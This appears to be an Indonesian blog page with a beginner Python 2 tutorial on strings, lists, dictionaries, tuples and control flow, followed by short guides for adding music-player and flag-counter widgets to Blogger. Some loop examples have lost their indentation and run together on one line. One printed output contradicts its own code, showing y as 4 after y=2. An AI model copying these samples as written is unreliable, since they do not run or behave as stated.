Sifat lain yang dimiliki oleh string adalah bisa diambil sebagian dari karakter pembentuknya, karena string ini adalah array, atau deretan, karakter. Kita dapat mengambil sebagian karakter dari string ini dengan notasi slice. Namun karakter-karakter yang membentuk string ini tidak dapat diubah.

stringA = "String A"
print 'stringA[4] =',stringA[4]
print 'stringA[2:6] =',stringA[2:6]

List

List disebut array dalam bahasa pemrograman yang lain. List adalah jenis data campuran yang bisa memiliki komponen penyusun yang berbeda-beda. Sebuah list dapat dibuat dengan dengan menggunakan tanda kurung siku, [ ]. Anggota list didaftar dalam kurung siku tersebut dan masing-masing dipisahkan oleh tanda koma. Sifat-sifat list bisa didaftar seperti ini:

* Komponen penyusunnya bisa diganti.
* Komponen penyusunya dapat dibaca dan dimanipulasi secara langsung.
* Komponen penyusunnya bisa ditambah.
* Komponen penyusunnya dapat diambil dengan menunjukkan indeksnya atau dengan notasi slice.
* Komponen penyusun sebuah list dapat juga berupa list yang lain.

Untuk lebih jelasnya bisa dicoba skrip berikut:

x = [1,2, 'tiga', 'empat']
print x

x[1] = x[1] + 2
print x

x[1] = 'dua'
print x

x = x + ['tambahan', 1]
print x

print 'x[2] =',x[2]
print 'x[1:4] =',x[1:4]

y = ['Salman', 'AS']
x[0] = y
print x

Dictionary

Berbeda dengan list yang memakai indeks angka untuk merujuk pada isi variabel, dictionary memakai key untuk merujuk pada isi variabelnya. Sifat kedua jenis data ini hanya berbeda dalam beberapa hal saja.

Untuk mendeklarasikan sebuah dictionary, Python memakai tanda { }.

d = {'nama':'Salman AS', 'nilai':3}
print d
print d['nama']

Untuk mengakses anggota suatu dictionary kita memakai lambang [ ] sebagaimana halnya list.

Dictionary bisa mempunyai anggota sebuah list, atau dictionary lagi.

d = {'nama':'Salman AS', 'nilai':3}
print d

nama_detail = {'depan':'Salman','tengah':'Agus','belakang':'Supriadi'}
print nama_detail

d['nama'] = nama_detail
print d

print d['nama']['depan']

nilai_detail = [3,4,2]
d['nilai'] = nilai_detail
print d

Tuple, Antara List dan String

Terdapat satu jenis data yang khas milik Python, yaitu tuple. Jenis data ini dideklarasikan dengan tanda ( ). Anggota-anggota tuple tidak bisa diganti dan dapat berupa bilangan atau string. Tuple dapat juga berisi tuple yang lain, dictionary, maupun list.

menu_file = ('New', 'Open')
print menu_file

menu_edit = ('Save', 'Save AS')

menu = (menu_file, menu_edit, 'exit', ['help'])
print menu
print menu[3][0]

menu_lain = (menu_file, menu_edit, 'exit', {'faq':'faq.html', 'manual':'man.html'})
print menu_lain

Perintah Kendali
Seleksi

Satu-satunya perintah seleksi dalam Python adalah if. Format umum perintah ini adalah:

if kondisi:
perintah_jika_kondisi_benar
elif kondisi_lain:
perintah_jika_kondisi_lain_benar
else:
perintah_jika_tak_ada_kondisi_yang_benar

Kita dapat mencoba seleksi dengan if ini dalam modus interaktif Python. Aktifkan interpreter Python Anda dan ketikkan baris-baris perintah ini pada prompt Python.

>>> x = 4
>>> if x<5: ... print "%d lebih kecil dari 5" % x ... elif x==5: ... print "%d sama dengan 5" % x ... else: ... print "%d lebih besar dari 5" 4 lebih kecil dari 5 Untuk menguji kondisi kita dapat menggunakan operator ==, <, <=, >, >=, dan !=.

Sesuatu yang baru dan kita bisa perhatikan pada contoh di atas adalah cara penulisan blok-blok program. Dalam Python blok-blok perintah ditandai dengan penulisan kode program yang menjorok ke dalam. Setiap perintah yang mempunyai batas kiri yang sama dianggap sebagai satu blok. Sebisa mungkin Anda harus konsisten menggunakan karakter spasi atau karakter tabulasi untuk membuat indentasi. Jangan mencampur antara spasi dan tabulasi. Kesalahan yang sering terjadi dengan indentasi ini adalah terlihat dalam penampilan editor kita sudah lurus pada batas kiri tapi ada perbedaan dalam jumlah karakter tabulasi atau spasi.

Dalam perintah pencetakan ini kita menggunakan kode pemformatan %d. Kode ini akan diganti dengan variabel yang mengikuti string, yaitu x. Antara string dan variabel dipisahkan oleh tanda %. Jika ada beberapa variabel yang akan dicetak, seluruh variabel harus dimasukkan ke dalam tanda () dan antara satu variabel dengan yang lain dipisahkan dengan tanda koma (,). Mari kita coba dengan interpreter Python.

>>> x=4
>>> y=2
>>> print "x berisi %d, dan y sama dengan %d" % x,y
Traceback (innermost last):
File "", line 1, in ?
TypeError: not enough arguments for format string
>>> print "x berisi %d, dan y sama dengan %d" % (x,y)
x berisi 4, dan y sama dengan 4

Sekarang kita terapkan seleksi ini dalam skrip yang akan memeriksa apakah suatu bilangan adalah bilangan bulat atau bukan.

x = input("Masukkan bilangan bulat:")
if x%2:
print "%d adalah bilangan ganjil" % x
else:
print "%d adalah bilangan genap" % x

Jika dijalankan, skrip ini akan menampilkan:

$ python ganjil.py
Masukkan bilangan bulat:13
13 adalah bilangan ganjil
$ python ganjil.py
Masukkan bilangan bulat:24
24 adalah bilangan genap

Kata kunci input() berfungsi untuk meminta input berupa bilangan. Bilangan ini disimpan dalam variabel x. Ekspresi x%2 akan menghasilkan 1 jika x ganjil dan 0 jika x bilangan genap. Oleh Python, 1 akan diartikan sebagai benar dan 0 akan diartikan salah.
Perulangan

Perulangan dengan kata kunci while mempunyai format umum sebagai berikut:

while kondisi:
perintah_jika_kondisi_benar
else:
perintah_lain

Perintah-perintah antara while dan else akan selalu dijalankan jika kondisi benar. Perintah-perintah di bawah else akan dijalankan jika perulangan selesai dengan normal. Yang dimaksud dengan normal di sini adalah proses perulangan tidak berhenti karena bertemu kata kunci break.

x = 1
while x<5: print x x = x + 1 else: print 'Loop sudah selesai dikerjakan!' Jika skrip di atas ditambahkan suatu kondisi yang diikuti perintah break, maka blok perintah di bawah else tidak akan pernah dijalankan. Perhatikan perbedaannya dengan skrip berikut: x = 1 while x<5: if x==3: break print x x = x + 1 else: print 'Loop sudah selesai dikerjakan!' Perintah break menyebabkan dijalankannya perintah-perintah setelah blok while dan else ini. Perintah perulangan selain while adalah for. Format dasar perulangan for adalah: for variabel in objek: perintah-perintah else: perintah_jika_tidak_bertemu_break Langsung saja ke contoh penggunaan pernyataan for ini. for x in range(1,5): print x else: print 'Perulangan selesai' Fungsi builtin range() dalam skrip ini menghasilkan bilangan 1 sampai 4. Hasilnya skrip akan mencetak bilangan dari 1 sampai 4 dan string Perulangan selesai. Keistimewaan perulangan dengan for di Python adalah dapat memroses array. Seperti contoh di bawah ini: y = [10,20,30,40,50,60,70,80,90] for x in y: if x==50: continue if x>70:
break
print x
else:
print 'Perulangan selesai'

Hasil yang akan didapat jika skrip ini dijalankan:

10 20 30 40 60 70

Pernyataan continue akan menyebabkan proses berlanjut ke awal perulangan dan melewatkan perintah-perintah yang ada di antara continue dan akhir blok perulangan.

Demikian akhir bagian pertama. Untuk mempelajari lebih jauh lagi tunggu bagian tutorial berikutnya.

Jumat, 13 Januari 2012

cara menambahkan musik player ke blog

1. Masuk ke halaman mixpod.com
2. Cari musik kesukaanmu dan tambahkan ke playlistmu
3. Klik customize dan pilih skin favoritmu
4. Klik save playlist, lengkapi judul playlist, playlist deskripsi dan lainnya. Terus klik "SAVE (get code)"
5. Lengkapi data diri anda dengan benar seperti your email, new password, dan lainnya. Lanjutkan dengan mengklik "Sign Up"
6. Copy kode html untuk blogger
7. Masuk ke blog anda dan pergi ke tata letak.
8. Klik tambah gadget dan pilih HTML/Javascript
9. Paste kode HTML dan beri judul terus disimpan

Dan eng-ing-eng, pada halaman sudah terdapat musik yang bisa dinikmati seluruh pengunjung blog anda. Selamat mencoba...

Cara Membuat dan Pasang Flag Counter Widget

Cara Membuat Widget Flag Counter di Blog, Cara Pasang Flag Counter di Blog.

Flag Counter adalah widget berupa counter yang menunjukan jumlah traffic pengunjung dari berbagai negara, contohnya dapat Anda lihat pada widget di bagian footer blog ini.

Untuk cara membuat dan pasangnya, silakan ikuti langkah-langkah berikut:

1. Kunjungi flagcounter
Maka akan terbuka jendela halaman seperti ini;



2. Jika Anda sudah merasa cocok dengan tampilan flag counter yang disediakan oleh flagcounter, langsung saja klik "Get Your Flag Counter", atau jika Anda ingin mengedit warna-warninya silakan atur pada menu pengaturan warna dan backgroundnya seperti yang tersedia disana.
3. Setelah Anda meng-klik "Get Your Flag Counter", maka akan muncul halaman seperti pada gambar berikut;



4. Masukan alamat email Anda pada area yang tersedia, klik "Continue" untuk membuat kode html/javascript yang akan dipasang di widget blog Anda. Lihat gambar ini;
5. Copy HTML Code untuk flag counter yang telah dibuat;



6. Selanjutnya pasang di blog Anda, caranya:
=>Setelah login ke blogger.com, pilih "design",
=>Klik "Add a Gadget pada posisi yang Anda inginkan,
=>Pilih HTML/Javascript pada jendela pilihan page element yang muncul,
=>Tempatkan kode HTML yang tadi Anda copy ke kotak kosong HTML/Javascript yang tersedia. Untuk Title boleh Anda isi dan juga boleh tidak.
=>Klik "save", lihat hasilnya.


selamat mencoba